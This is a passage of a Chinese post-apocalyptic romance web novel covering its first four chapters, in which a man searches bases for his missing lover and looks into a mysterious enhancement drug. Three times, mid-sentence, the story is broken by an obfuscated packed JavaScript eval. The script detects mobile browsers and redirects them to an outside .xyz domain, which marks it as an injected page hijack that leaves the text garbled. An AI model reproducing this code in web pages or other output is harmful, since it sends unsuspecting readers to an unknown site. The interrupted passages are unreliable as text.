《救出老婆后发现他快死了[末世]》 1. 救人 那时,有条小道消息隐秘地流传在上层圈子里。 “人类要进入一个崭新的时代了!” 具体是什么情况,好像也没什么人说得清楚。直到某个平静的午后,首批高热后发狂失控的人与动物血洗了城市。 这场大灾变狠狠地冲击了社会秩序,将之彻底打碎,重组,而后,迎来另一种新生。 飞机引擎的轰鸣,未知生物的嘶吼,充满血色的视线…… 步景明惊醒,做了个深呼吸才终于从五年未变的梦魇中回过神。 “老大?怎么不多睡会儿?” 步景明看见身旁开车的人变成了柯九辛。 姑娘长着一张娃娃脸,脑袋后边扎了个马尾,说话的语调又软又轻,就是身高出奇的高,行为举止也豪放,与她给人的第一印象相距甚远。 柯九辛把着方向盘,抽空快速扭头看了他一眼,“还得开几十公里,再歇会儿吧,不然我真怕老大你死车上了。” “小伤而已,哪有这么夸张。” 步景明从口袋里摸出一根烟,却只拿着,又偏头去看不断后退的窗景。 断裂的柏油路,倒塌的水泥墙壁,掉漆腐朽的钢筋建筑,处处表露出人类社会在末日后的破败。 但植物四处丛生,高大茂密,搅碎一切工业产物的藤蔓,足有十层楼那么高的巨树,仅花苞就有两个拳头大的灌木,又给这片土地充盈着生机。 巨大的黑色越野车碾过一切碎石洼地,轮子弹起又落下,惊起几声扑簌簌的动静。 “辛姐,咱们开车能稳一点吗?” 后座传来一个略带抱怨的男声,柯九辛抬眼从中视镜里瞅他,“要求别太高了小宇子,不会把你掀出去就行。” 被称为“小宇子”的男人,是小队里第三位,也是最后一位成员,戴着副半框眼镜,看起来斯斯文文的。 田东宇把座椅靠背调直,打了个哈欠,问道:“还有多远?” “大概三十公里……等等,有情况!” 柯九辛一脚刹车,与雷达红点同时出现的,是远处一声巨大的咆哮。 步景明收起烟,看了一眼雷达,“大概率在路中间,听起来像异变动物。” “怎么说,老大?躲还是打?” “避开吧,换条……”步景明突然顿住,放下车窗仔细听了听,“有人在呼救。” 两位队友默契地对望一眼,心知这是他们老大打算插手了。 “坐稳了!” 柯九辛又是一脚油门,越野带着极强的推背感,猛地跃了出去。 越是靠近,战斗的动静就越明显,空气中已然有隐约的血腥气,步景明首先看到的是一只高达两米,大约可看出由老虎异变而成的异变动物,眼部被一条高高隆起的肉瘤占据,四肢分裂成一条条的触须,蠕动时还在不断滴落黑绿色的恶臭黏液。 他们来到附近时,只见四周倒着好几具残缺的尸体,而一位少年正怒吼着挥动拳头试图攻击眼前的巨物,他的手臂泛着粗糙的纹路,看起来像是使用了天赋。 但他的努力就如螳臂当车,巨虎甚至没有向前,只用力一挥尾巴,就将他拦腰击飞。 步景明一行人堪堪赶到,柯九辛车还没停稳,就有一团黑影从车窗飞出,自半空中接住了少年。 步景明拉开车门,抬手指挥着黑影将人安置在稍远的树下,远离战场,自己则握住一把匕首闪身上前,刀身划过怪物的身侧,留下一道不深但狭长的伤口。 趁他吸引异变动物的时机,柯九辛将车子熄火,从后座抽出一把改造后的锐利巨斧,绕到后方,猛地暴起剁下了那条四处挥舞的尾巴。 这一下彻底惹恼了它,巨虎抬头吼叫着发泄自己的怒火,转身扑向柯九辛,四肢下的触须带着恶心又危险的黏液高高抬起,在呼啸风声间袭来。 它的速度不快,但柯九辛也没有躲开,只因下一秒就有一面以水构成的盾牌立在她身前。 同时,也有几道黑影如蛇般飞窜而来,将触须一并缠住,硬是让怪物的冲势被拉扯至停滞。 面对这样一头发狂的怪物,步景明脸上的神色都未变,寻了个时机直接跃上巨虎的后背,手中匕首猛力刺进它的脊柱处,同时操控影子爬上巨虎的脖子,寸寸收紧。 疼痛与窒息同时袭来,巨虎不断挣扎,却始终没能把身上的步景明甩下来,反而逐渐力竭,张开血盆大口露出獠牙,可也拿脖子上的黑影没有丝毫办法。 柯九辛一看他们老大自己都快要解决了,就推了推举着盾的田东宇,说道:“你先去看看那人还活着没,我辅助老大。” 田东宇点点头,收了天赋,仅以右手的长刀为基础防御,跑向少年处。 也在此时,巨虎终于脱力倒下,庞大的身躯压出一片泥印,激起一圈尘土。柯九辛从怀里掏出一把手枪,最后给怪物的脑袋和心脏处各给一发子弹。 确认对方已失去生命体征,步景明从它身上跳下来,甩了甩匕首上的血,看了一眼田东宇的位置,“人还活着吗?” 柯九辛与他一同走过去,恰好听见少年一边疼得抽气,一边攥着田东宇的衣服求他救救“赵叔”。 田东宇顺着他手指着的方向看去,发现确实有一具还算完好,没被撕碎的“尸体”,尚有微弱的呼吸起伏。 少年的意识似乎不太清醒,分明在求田东宇救人,却又攥着他的衣服不让走,柯九辛见状,脚步一拐,来到赵叔的身旁。 灰头土脸的男人身上最重的伤是腰腹的几个血洞,伤口已经几乎要流不出血了,看起来似乎是被巨虎咬穿后给扔到地上的。 柯九辛看了一眼就说道:“救不了了,这个出血量,已经失血休克了吧。” 她的声音不大,少年却不知怎的听着了,顿时挣扎着要过来,语气里分明染上了哽咽,瞪大的双眼里却流不出一滴泪来。 “不……不会的,赵叔!赵叔还有救的…求求你们……” 他也不知从何而来的力气,硬是让田东宇也按不住他,只得扶着他,让他跌跌撞撞地来到赵叔身边,试图用手去堵住那狰狞的血洞。 “我们明明……好不容易出来了…我的天赋很好用,你不用替我挡的……” “嗬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706886|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、嗬……” 赵叔突然吐出几个字音,十分艰难地睁开了眼睛。 他转了转眼珠,先看见悲戚的少年,又看见步景明一行人,勉强扯起嘴角,冲少年笑了一下。 “小子、活下去。” “……” “我们,出来了。你要……” 活着。 手下的身体逐渐变得平静,少年的表情也逐渐变得麻木。 他没有哭,只是愣在原地,像一座雕像。 眼下气氛多少有点不太好打破,柯九辛便启动了自己的天赋,精神连接,给他们三个人连到一起,进行秘密的脑内对话。 “老大,这些人的身份好像有点奇怪。” 田东宇也表示赞同,“听起来似乎是从什么地方逃出来的。” 还并不是什么异变体丛生的危险地方,倒像是被囚困住了。 步景明没发表什么意见,另外两人已经习惯了,自顾自地聊。 “真可怜啊,唯一幸存的独苗苗,咱一会儿是不是还得带他走啊,感觉丢在这里也活不下来。” “听明哥意见吧,或者,如果他不想死的话,应该会主动开口的。” 事情果然不出田东宇所料,少年最后站了起来,走到他们面前,眼眶的红色都未褪去,“谢谢你们救了我。” 少年嘴唇微动,犹豫着开口:“请问,你们要去哪里?可以带上我一起吗?” 还没等他们说话,少年又很急地说:“我的天赋很有用,是皮肤硬化,或者你们带着我,我可以给你们挡攻击!” 他此刻无暇顾及眼前这几人会不会另有目的,若想活下去,他别无选择。 步景明一行人的目的恰好是一座基地,车上多一个人也坐得下,改造过的七座越野的空间绰绰有余,于是步景明颔首道:“我们要去天明基地,可以把你带过去,但不保证你会被接纳。” 少年点头如捣蒜,“谢谢谢谢,谢谢你们。” 在将赵叔简单葬下后,一行人回到车上,依然是柯九辛开车,田东宇在后座翻找着背包,拿出一些碘伏和绷带出来,“你叫什么名字?身上的伤先处理一下吧。” “我叫邓星光,”少年一看这架势,连忙摆手,“不用了不用了,药都挺稀缺的吧,这点小伤放着就行。” 也确实,自打末世之后,从前依赖人类工厂生产的事物都变得珍稀起来,毕竟用一份少一份,而如今,五年过去,也只有极少数基地重新创立了小规模生产的工厂,基本只供应给基地住民。 闻言,田东宇便不跟他客气,大致看了一眼邓星光身上也没什么特别要紧的,大多是擦伤,就把东西收回去了。 像他们这些能顺利激活天赋的人,身体的各方面素质相较过去总会有或多或少的提升,一般情况下也不需要那么提心吊胆。 柯九辛开着车还抽空加入对话,“小星啊,我听你们说,你们是从哪里出来的?” 谈及这个,邓星光的情绪顿时低落了,眼中除了哀伤还有愤懑,“是一个实验室,我和赵叔,包括已经死去的几位,都是他们的实验品。” 2. 天明 “那些畜生根本不把我们当人看!” 在邓星光磕磕绊绊的叙述中,众人逐渐拼凑出了事件的全貌。 那是在曾经根本无法想象的,类似人体实验那般,完全抛弃身而为人的道德底线的一场实验。 不知道多少人被诱骗或是绑架到一处戒备森严的建筑里,而后被推上手术台,注入不知名液体;或是被抽走些什么,从血液到骨髓,从皮肉到器官,那些作恶者像孩子那样,将玩具的各个部件摘下,又乱序安装回去,最终,创造出一个又一个怪物。 实验品们承受着饥饿,咒骂,高热,疼痛,以及各种各样的排异反应。 他们的哀嚎不会被听见,求饶得不到回应,那群人只会隔着铁链或是门窗观察他们,轻易地讨论他们的生死。 据说,这一切的幕后主使的目的,是想要研究末世后物种觉醒的天赋基因,以此来制作某种药剂。 邓星光抹了一把因情绪失控而溢出的眼泪,“我们这一批是被放弃的,他们不想处理尸体,说不要留无用的东西在实验室里,就让人把我们带到很远的地方,然后丢给一个实力强大的异变体。” 空气顿时陷入了一片沉默,只余车体行驶产生的微震感在证明时间并没有停止。 良久,柯九辛一拳砸在方向盘上,没忍住报了个粗口,“这群人真不是个东西!” “所以,真的,真的很感谢你们,让我……” “邓星光,”步景明突然打断他,“我有个问题要问你。” 少年忙不迭点头,“我一定知无不言!” “你对江入年这个名字有没有印象?” 邓星光努力地回想了一下,很遗憾地摇头道:“没有,我知道的人里没有叫这个的。” 步景明神色不变,又从里侧衣兜里拿出一张照片,“这样的人,见过吗?” 那是一张位于海边的双人合照,两个人挨得很近,其中一个搂着另一个的肩膀,被搂着的人笑容灿烂。 邓星光认得出来其中一个是眼前的人,想必要问的就是另一个。 可惜,他确实对这张脸没有印象,他并没有见过这样的人。 对这样的结果,步景明并不意外,又将仍带着温度的照片妥帖地收在衣服里。 那个稚气尚在,染着栗色头发,眼眸弯弯的少年,是步景明的爱人。 末日爆发前,刚上大学不久的俩人难得产生了一些矛盾,步景明一气之下向老师报名了一个竞赛,跑去了别的城市。 而后全国警报,步景明再也联系不上江入年了,即便努力克服艰难险阻回到那所大学,也毫无所获。 他甚至不知道对方究竟是活着,还是已经死去了。 于是,五年的时光,步景明全都用来在外奔波,无惧那些怪模怪样凶恶可怖的异变体,他走过一寸又一寸土地,询问一个又一个人。 尽管在这样的情况下,没有消息也许会是最好的消息,但这始终如一把悬在头顶的利刃,如脚下的钢丝,让步景明提着心,无论如何都落不到实处。 右肩处正在愈合的伤口传递着绵麻的痒意,步景明疲倦地合上了眼。 早知如此……早知…… 这一路上没再多什么风浪,他们借助雷达的帮助,避开无意义的战斗,在太阳触及山头时,顺利抵达了天明基地。 远远的,就能看到有人等在基地入口。 男人穿的一身简单的白色长袖T恤和米色休闲裤,发尾微卷的金色头发紧贴后颈,显得有些骚气。 发现有辆越野开过来的时候,本来百无聊赖靠在土墙上的男人顿时精神了,抬手朝他们挥了挥。 车辆停稳,步景明拉开车门,还没落地,就先被拍了一巴掌在肩上。 “景明,好久不见!” 步景明不动声色地把他的手抖下去,“向长霖,好久不见。” “向哥,力道轻点啊,老大正好有伤在肩膀上呢。” 向长霖赶紧举手,“对不住,我的我的,被啥伤了?一会儿让基地的医生给你看看。” “小伤而已,没那么夸张。” 几人从车上下来,向长霖看见还有个不认识的新面孔,“这位是?” 步景明简单介绍了一下,只说是他们来的路上救下来的,想到天明基地来讨生存,其余一些别的只字未提。 如果邓星光愿意,就让他自己说吧。 这边,邓星光还有点惴惴不安,正想说些什么让眼前这个明显有话语权的男人同意收留自己,却见向长霖大手一挥,道:“小问题,我让小王带他去安顿一下就行。” “都别在这杵着了,赶紧进来吧,车子我一会儿让人挪进来就行。你们来的也正好,赶上饭点了,请你们吃顿好的!” 柯九辛也不跟他客气,“有肉吗?可馋死我了,好久没吃了。” 向长霖爽朗一笑,“管够,吃撑一个你不是问题。” 还有些懵的邓星光被小王带走了,步景明一行人则是跟着向长霖往专门给他们留的住处走去。 上次来天明,还是差不多一年前的事,和当时相比,这个依托一片小区建立起来的基地也有了不小的变化。 住民多了不少,脸上的神情也平和安详,没什么苦大仇深的模样。 末世之后倒是少见这样的生活状态,绝大多数人都还处于生存的状态,看起来他们是对这座基地有归属感与安全感的。 有些设施显然翻修过,与旧建筑一比,透露着醒目的差异。 步景明五年前把这个基地托付给向长霖的时候,并没有想到他会做得这么好。 “景明,这次打算待几天?要不等伤好了再走吧?” 步景明摇摇头,“明天就走。” “明天?!”向长霖的音量都忍不住拔高了,“不是,我知道你多半不会待多久,但是,就一个晚上?” 田东宇在一旁幽幽地叹了一口气,“我和辛姐都劝过了,劝不动。” 向长霖微微皱眉,“你俩都劝不动?下一个目标是哪里?” “山河基地,”步景明说,“这次的情报,真实性很大。” 所以希望也很大。 他没把这句话说出口,避免设立过高的期待。 向长霖还是不太赞同,“但是,你,唉,……” 他知道劝不动,这么多年过来,不知有多少人出于多少目的试图让步景明停留,却没有一个成功的。 步景明踏上旅途的目标太坚决,如高高的山石矗立在那里,仅凭人力无法撼动。 但,作为朋友,向长霖并不乐见对方像是要透支生命一般奔波在危机四伏的环境里,只为了一个很可能早就明白的结果。 没有人再说话,只有鞋底踩过大地的声音,在和一缕迎面而来的微风共舞。 向长霖专门给步景明的小队留着两套挨在一块儿的一楼的房子,都是三房,保证了能一次容纳至少六男六女的人数。 最初知道的时候,可是狠狠让步景明无语了一阵,他哪来的本事让这么多人死心塌地的跟他东奔西跑,更愿意一个人上路,能少许多麻烦。 不过,以小区为基础建立的基地也不缺这点住房资源,步景明就随他去了。 几人在明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706887|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有打扫过的痕迹的屋子里休息片刻,很快就有人来通知,可以开饭了。 天明基地最初为了保障居民的吃食,设立了一个公共厨房,在一个大平房里隔出了五六个小厨房,准备了一些基础的调料,大米和面粉,以及各种厨具,人们可以自备食材来免费使用这里的厨房,只需要在做完饭后清理干净就行。 后来逐渐发展成,不会做饭又嘴馋美食的人专门带着食材,天天守着几位大厨手艺的人来吃饭,而这些大厨们也很乐意把饭菜的分量做大一点,于是每到饭点,公共厨房就格外的热闹。 当然,要招待重要的友人,向长霖那是特地找了基地里做饭最好吃的大厨,尽管调味料之类的依然稀缺,但天明基地至少有自己的农田和养殖场,在基础食材上确实可以吃撑一个柯九辛。 大厨也不愧是大厨,即便条件不允许,依然操作出了一大桌子色香味俱全的菜肴。 他们坐在位置略微靠里的一张圆桌上,酒过三巡,向长霖问起他们接下来的打算,“我记得,你们是不是打算到山河基地去?” 柯九辛夹了一片肉,“是啊,怎么了吗向哥。” 向长霖捏着筷子,轻轻点了点碗底,没有回答他,而是另起了一个话题,“有没有听说过‘神赐’?” 同样在桌上低着头吃得狼吞虎咽的邓星光闻言一顿。 没人留意到他的动作。 步景明放下筷子,“听过。” 他有所耳闻,那是一种大约两年前出现的,据说可以增强人类“天赋”的药品。刚出现时并不显眼,因为产量很低,可最近关于这件东西的讨论突然变多了起来。 向长霖说:“我觉得这个东西吹得太神了,从名字就看得出来。灾变开始至今都五年了,还没人发现能明确提升自己天赋的办法,但这个神赐却可以毫无副作用的,轻轻松松的让人变强,这一听就像诈骗啊!” 他越说越激动,差点要把手拍在桌子上。 步景明也赞同,天上可从来不会掉馅饼,只会掉陷阱。 更何况,传闻比向长霖说的更夸张,“神赐”据说还能帮助人类顺利激活天赋而不会变成异变体,曾经有人亲眼见到一个七岁的孩子即将变成异变体,但被匆匆赶来的父亲喂了一口“神赐”之后,不仅所有异常全部消失,甚至顺利激活了天赋。 部分人或动植物的天赋会与本体出现互斥反应,导致他们变成失去理智的狂化怪物,也就是如今随处可见的异变体。 这也是这片大陆进入末世的最大原因,自五年前的某一天,一直潜藏在生物基因中的“天赋”突然被激活,于是人类被迫进化,而后与进化失败的同胞殊死争斗,艰难求生。 若是“神赐”能阻止,甚至逆转这一过程,步景明难以想象这会对现在的社会造成多大的冲击。 “和山河基地有什么关系?” “我的人打探了一下消息,那边似乎最近暗中流出了不少这玩意,我想,你过去的时候,能不能想办法了解一下这具体是个什么东西?如果能拿一份回来就最好了。” “毕竟,这东西如果确实靠谱的话,那对于提升基地实力来说,非常重要。” 这倒是与他的打算并不冲突,步景明思索着。 他去山河基地主要是因为,有消息称,那里有一个人很有可能见过他的爱人。 在关于爱人的消息上,步景明从不怠慢,即便只是一个有可能见过的人。 五年了,真真假假的消息混杂着,他不知道自己还能坚持寻找多久,但至少现在,他还不愿放弃。 “行,我去到那边以后帮你看看。” 3. 梦境 酒足饭饱后,步景明一行人分别回到了屋子里。 步景明和田东宇刚在沙发上坐下,就听见玄关处传来敲门声。 田东宇过去开门,发现是邓星光,便放他进来了。 “明哥,”邓星光也学着这么叫,“我有话想跟您说。” 步景明便示意他坐。 邓星光走到另一侧的沙发坐下,神情既严肃又紧张,“刚才没说,因为那里人有点太多了。” “就是,你们想知道神赐的话,我可能知道一点点内容,但不多。” 他第一句话就十分重量级,“生产这个东西的,可能和我逃出来的那个实验室,所属于同一个……组织?” “我之前说过,那帮家伙从来没把我们这种实验品当人看,所以,他们说的很多话,也不避着我们。” “那大概是我刚被抓进去不久,听到有几个人讨论这东西的研究进度。” 邓星光看着没什么表情的步景明,“我想说的重点是,你们都知道那是个什么样的地方,所以我觉得,那个组织应该也不是什么好东西,而神赐跟他们有关的话,想要调查可能会很危险。” 步景明的右手搭在沙发扶手上,他的食指轻轻点着,抬起又落下,似乎在思考着什么。 见他这样,田东宇也没吱声,镜片后的眼睛转了转,不知在想着什么。 片刻后,步景明终于开口,“多谢你的情报。” 邓星光离开了,田东宇扶了扶眼镜,“明哥,你觉得呢?” “我觉得什么?”步景明放松了身子,靠在沙发上,“不是主要目标,之后连其他查到的消息一起告诉向长霖就行。” 田东宇抿了抿唇。 他们的主要目标,一直都是找人。 最后他只能说:“早点休息吧,明哥。” 向长霖为他们准备的东西都很好,枕头被褥干净温暖,就是没办法供水到每一间屋子,只能保证供电。 好在,步景明于末世中生存几年,早已不在乎有没有水洗澡了,脱了外套,只着里衣,就上床躺下了。 四周逐渐变得寂静,就好像这个世界上从不存在什么异变体,甚至不存在人类,或是任何的生物。 意识无法放松,步景明平躺着,双手搭在胸前,单纯地闭着眼,似乎也不在意自己究竟有没有睡着。 只是这具身体需要休息,所以他会在无事的黑夜中尝试入睡。 眼前开始出现游走的光斑,像小虫子那样,扭曲着,蠕动着,而后亮起来,变幻成一张又一张画片。 步景明恍惚回神,感受到属于夏季的炎热,炽烈的阳光透过窗户照在桌面上,唯一的凉风来自头顶,那台呼呼旋转着的大吊扇。 “景明?发什么呆呢?” 他的身旁坐着一个少年,少年的头发还是黑色的,按学校的要求剪成很短的模样,穿着每一届学生都会诟病的蓝白麻袋校服。 少年右手转着一只圆珠笔,左手撑着下巴,笑着歪头看他,“嘿!你不会是解不开这题吧?” 步景明扫了一眼少年面前的试卷,是一张初二的物理试卷。 只是一道填空题,对步景明来说确实不难,可他还没来得及说话,周遭场景又忽地一变,阴冷腐朽的气息混杂着铁锈味遍布了整间屋子。 步景明眨眨眼,感觉睫毛上沾了什么,便抬手抹了一把。 屋内漆黑,没有光,他只好放在鼻下闻了闻。 是血。 “吱呀。” 有门被推开,而暖黄色从外面漏进来,映亮了满地狼藉,也映亮了顶着一脑门微微凝固的血的他。 少年逆着光走过来,拉起他的手,说:“跟我走吧。” “以后我家人就是你家人,我妈就是你妈!” “他们不要你,我要,我妈也要,她可喜欢你了。” …… 啪嗒、啪嗒。 雨声打在玻璃上的声音愈发密集,叮叮当当,将步景明从梦境中唤醒。 他坐起来,难得地在床上愣神许久。 已经遗忘了梦境的内容,只留下一种怅然的感觉,还有对某人深深的思念。 步景明望着窗外,乌云密布,天色昏沉,辨不出时间,一时让人分不清这一觉究竟是晚上睡的,还是下午睡的。 “明哥?醒了没?” 和话语同时响起的,是几下敲门声。 “明哥?向哥来找你了。” 步景明应了一声,下床的同时捞起挂在床边椅背上的外套穿在身上。 出门的时候,看见客厅里不止有田东宇和向长霖,连柯九辛也来了。 “怎么样,昨晚睡得香不?” “挺好的。” 在末世里还能有这样的条件,足以让绝大多数人都感到羡慕了。 “知道你要急着走,厨房也没人专门去吃早餐,我准备了别的干粮和水,一会儿你带到车上去。哦对了,你那车我也让人检查了一遍,油装满了,还多备了一桶,到时候记得一起拿上。” 步景明少见地勾了勾嘴角,“多谢。” “客气什么,一家人不说两家话,记得哥们的事就行。” 向长霖拍了拍他的肩,这次避开了右肩,拍的左边肩膀。 另一边,柯九辛也表示他们都准备好了,随时可以出发。 “那我不留你们了,有什么事随时联系,路上小心。” 一行人告别向长霖,下楼时,不知何时下起的雨已经停了。 找到停放在基地大门外的越野,检查一番装备后,将隐匿气味的药水绕车喷一圈,步景明坐进了驾驶座。 柯九辛在后座坐稳,放松身体靠在车窗上,往外打量了一圈天明基地,“老大,我还是觉得你嘴真够严的,背靠这老大一个基地,我曾经一直以为你就是独狼一匹,这才天不怕地不怕的。” “我可从来没说自己是。” 步景明启动引擎预热,车轮碾过泥土,留下一道辙印,一路向外离去。 步景明把持着方向盘,闯出黄绿小径开上破败的公路,人声倏然减少,取而代之的是一些隐藏在安静下的蠢蠢欲动,是属于危险的异变体们。 从天明到山河有不少距离,动身之前大致估算了一下,即便是他们这辆改造过的越野车,也得连续开将近十个小时。 车辆行进在这片灰败的大地上,偶尔经过一片废弃的建筑,在丛生的巨大植物中,只能依稀看见曾经人类蓬勃发展的痕迹。 路途中央,田东宇主动提出把步景明替下来休息。 “明哥,”他给自己系好安全带,状似随意地聊道:“如果……这次还是找不到呢?” 步景明坐在副驾驶,闭上了眼,不置一词。 他转动钥匙,“明哥,你自己的生活呢,完全不要了吗?” 柯九辛把自己横放在后座,悠悠开口:“你跟老大也挺久了吧,这么蠢的问题还能问啊。” 被噎了一下,田东宇也不恼,只是叹了口气,“我不是心疼明哥吗,这什么时候是个头啊?” 步景明没有搭理他们的交流,只静静地靠着,像是睡着了。 眼前倒不是黑暗的,大脑不断倒带着,“你自己的生活呢……?” 早晨梦醒时的情绪又涌上来,挤在不大的心脏里,涌动的时候,带起一串酸涩与落寞。 完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706888|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全不要了吗? 不要了。 步景明从来没有告诉队友他的过往,糟糕的部分很多,说出来像诉苦,像卖惨,实在没有意义;而那些美好的部分,都与他的爱人有关。 他没有心思在爱人生死未卜的时候和外人缅怀过去,他只能告诉每一个队友:他很爱他的爱人,无论如何,他都必须要找到他,这是他惟一的,踏上漫漫旅途的目的。 没有他在,步景明的生命就没有任何存在的意义。 于是,出于各种目的加入他的队友,来了又走,又或是死在这末世中,化为一捧白骨,最后只剩下了两位,依然选择跟在他的身旁。 步景明其实是感激的,但在爱人的方面,没有任何商量的余地。 思绪至此,正好听见柯九辛的声音,“行了,老大一开始不就和你说过了,接受不了这种奔波你可以走啊。” “谁说我要走了?别胡说八道。” 一路上利用雷达小心地避开成群结队的异变体,尽量开在开阔宽敞的大路上,被异变体盯上时能甩就甩,甩不开就下车安静干掉。三个人甚至除了解决生理问题外一刻未停,自上午八点左右出发,终于在太阳触碰山头的时候,看见了灯火通明的山河基地。 山河基地是为数不多从灾变开始,存活发展到如今的基地,依托一座不大的小镇而建,五年过去,拥有了一套完善的管理体系,凡是非本基地的居民,在首次到来的时候进行登记,就可以免费获得一天的暂住证,拥有这个证明才可以停留在基地内。 证明过期了,就需要用物资来换,但是并不便宜。 步景明不是第一次来了,但另外俩人还能免费领一次证明。将车停在固定车场,让两个队友拿上部分行李先去登记,步景明下了车,靠在车上掏出一个黑色联络器,调到其中一个频道。 “我到了,就在大门外面。” 不到一分钟,就有个人影出现在他的眼前。 对方将自己笼罩在宽大的灰色斗篷下,一言不发,只伸手递出三张卡片。 那是山河基地的五天限时暂住证。 步景明接过证明,“多谢。” 灰斗篷点点头,默默地消失了。 将其中两张收好,步景明也朝大门走去,向守卫出示了暂住证后,顺利地进到了山河基地中。 柯九辛和田东宇早已办好手续在附近等着,看见他进来便迎过去。 “老大,我们接下来是?” 步景明四处打量了一会儿,“先找个住的地方。” 虽是这么说,但在末世中显然不存在什么性价比高的旅店,他们的资源不算充裕,得花在刀刃上,“我以前来过一次这里,如果没有被整治的话,这个基地里有个地方允许自己安营扎寨。” 循着记忆中的路线,他们靠着外墙前进,在天色完全黑下来之前找到了一片空地。 水泥地上零碎的分布着帐篷,露天的睡袋混杂在星星点点的火光中,无端显出几分凄凉。 三人十分熟练的各自搭起自己的帐篷,围出一个小三角的空地,柯九辛一边展开简易炉灶,一边说道:“老大,你去找你对象吧,我俩去帮你问问那个东西的事情。” 步景明点点头,“多谢。赶了一天路,你们今晚好好休息,我一会儿自己先去找,不用等我。” “明哥,你才是最需要休息的人吧,”田东宇拉开一个罐头递给他,“别累坏了。” “我有分寸,”步景明低头看着手里的罐头,“何况,我的天赋最适合晚上行动,不用担心我。” 如果不抓紧时间,又来晚一步怎么办。 他将这句话停在嘴里,没有说出口。 4. 线索 步景明的决定从来没人能阻止,不再管另外两个队友的想法,他迅速解决了一个小罐头,算是应付了一顿晚饭,随即起身向外走去。 他的天赋是“暗影操控”,只要有光映照出来的影子,他就能做很多事。 例如现在,将自己完全融进黑影里,就可以避人耳目地快速移动。 步景明按着情报找到一间老旧的小平房,外墙斑驳爬满说不出的植物,这间屋子待在月光下,无色无声,静默得仿佛无人居住。 “叩叩叩。” 门板发出吱呀声响,出人意料的轻松推开了,步景明干脆抬腿迈进屋里,一眼就看到了一个只有一条腿的老人。 特征对得上,自己没找错人。步景明放松些许,向前几步站在老人面前,拿出一张照片,“您好,我想向您打听一件事。” 老人蜷缩在一张软椅上,闻言,睁开浑浊的双眼,定睛看了片刻,嗓音沙哑,“嗯,我确实见过这个小伙子。” “但那已经是好几年前的事了,我想想……应该是在灾变不久的时候。” 步景明有些着急,追问道:“在哪里看见的?” “这里。” “这里?” 老人喘了口气,似乎连续说话让他有些疲惫了,“就在这个基地里,我见过他。” 说不清自己有没有感到失落,步景明收敛了直视对方的视线,沉默了下来。 灾变开始不久的时候,那么距今也有快五年了,这条消息的参考性实在不高,更何况他曾经还来过一次山河基地。 “您还能想起细节吗?想起什么都可以。” 步景明不抱什么希望地多问了一句,老人却沉思起来,片刻后,说:“这个小伙子,身边跟了个挺高大的男人。” “那个男人长什么样……不记得了,但是,他们当时应该是……要在这里长住的,”老人回忆着,“非要说奇怪的话……我在那天之后,就再也没见过他了。” 步景明在原地站了很久很久,最后给老人留下了一袋粮食道谢,悄然离开了这间小屋。 一阵夜风卷过,可吹不散脑子里乱如麻的思绪。步景明没有急着回去,难得放任自己缓下脚步,慢慢地走在基地里。 仔细想来,老人的说辞并非完全没有帮助,至少说明一点,这个基地里可以找到更多有关自己爱人的消息。 当时,山河基地应该没有发展得这么大,给人的感觉是要常住,却又再也未见过,这就只有两个原因:要么是当天就急匆匆地离开了,要么是……他还在这里,无论是被动或是主动,他永远的留在了这里。 后者触及到了步景明不愿面对的其中一个事实,这让他一时有些难以呼吸。 他抬头看看墨色的天空,一颗颗数着为数不多的星星,强迫自己冷静下来继续思考。 若是前者,或许要想办法找找当年门卫一类的人确认情况,总之,他得在山河基地多留一段时间了。 步景明做了个深呼吸,正要往回走,脑海里突然出现了柯九辛的声音。 “喂,喂,呼叫老大,听得到吗?” “嗯,怎么了?” “我们搞到了惊天大咪m……不是我是说惊天大秘密,关于那个东西的。你啥时候回来?” “……现在就回去了。” 即便相处了几年,步景明还是难以招架柯九辛脱线奔放的言行,单方面断了精神联络后,调动天赋,很快就回到了帐篷处。 柯九辛和田东宇已经在等着了,看见他走近,柯九辛脸上有些难掩的激动,抬手招呼着:“来,到里面说。” 她很谨慎,等三人都进了田东宇的帐篷后,使用天赋进行精神连接,超级加密对话,断绝一切偷听的可能。 “刚刚我和小宇在附近打听了一下,费好大劲从一个人嘴里撬出来,‘神赐’这东西在这还真有得卖,不过消息控制得还挺严格的,他们想交易都是通过一个线人买,不仅得内部推荐,还要提前预定,等有货了之后再排到你才会通知你去某个地方拿。” “而且每人限购一支,一次放出来的货特别少,预定后少说要等半个月,多的几个月。大概也是这个原因,目前没有激起太大的水花。” “这是惊天大秘密?” “倒也不是,重点是那个人还说了,他跟踪过那个线人,发现这个基地下面有个保密程度很高的实验室!” 步景明:…… 这是对人家做了什么,把这种秘密都说出来了。 “人还活着吗?” 